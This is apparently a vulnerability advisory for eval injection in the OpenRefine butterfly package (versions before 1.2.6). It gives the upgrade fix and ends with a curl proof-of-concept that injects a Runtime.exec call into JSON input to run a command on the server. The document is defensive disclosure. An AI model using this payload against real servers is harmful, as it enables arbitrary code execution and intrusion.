Eval Injection Affecting org.openrefine.dependencies:butterfly package, versions [,1.2.6)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of concept
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- published25 Oct 2024
- disclosed24 Oct 2024
- creditUnknown
Introduced: 24 Oct 2024
CVE NOT AVAILABLE CWE-95 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade org.openrefine.dependencies:butterfly to version 1.2.6 or higher.
Overview
Affected versions of this package are vulnerable to Eval Injection through the parseJSON and getJSON functions. An attacker can execute arbitrary code on the server by supplying crafted input that manipulates the evaluation process.
PoC
curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest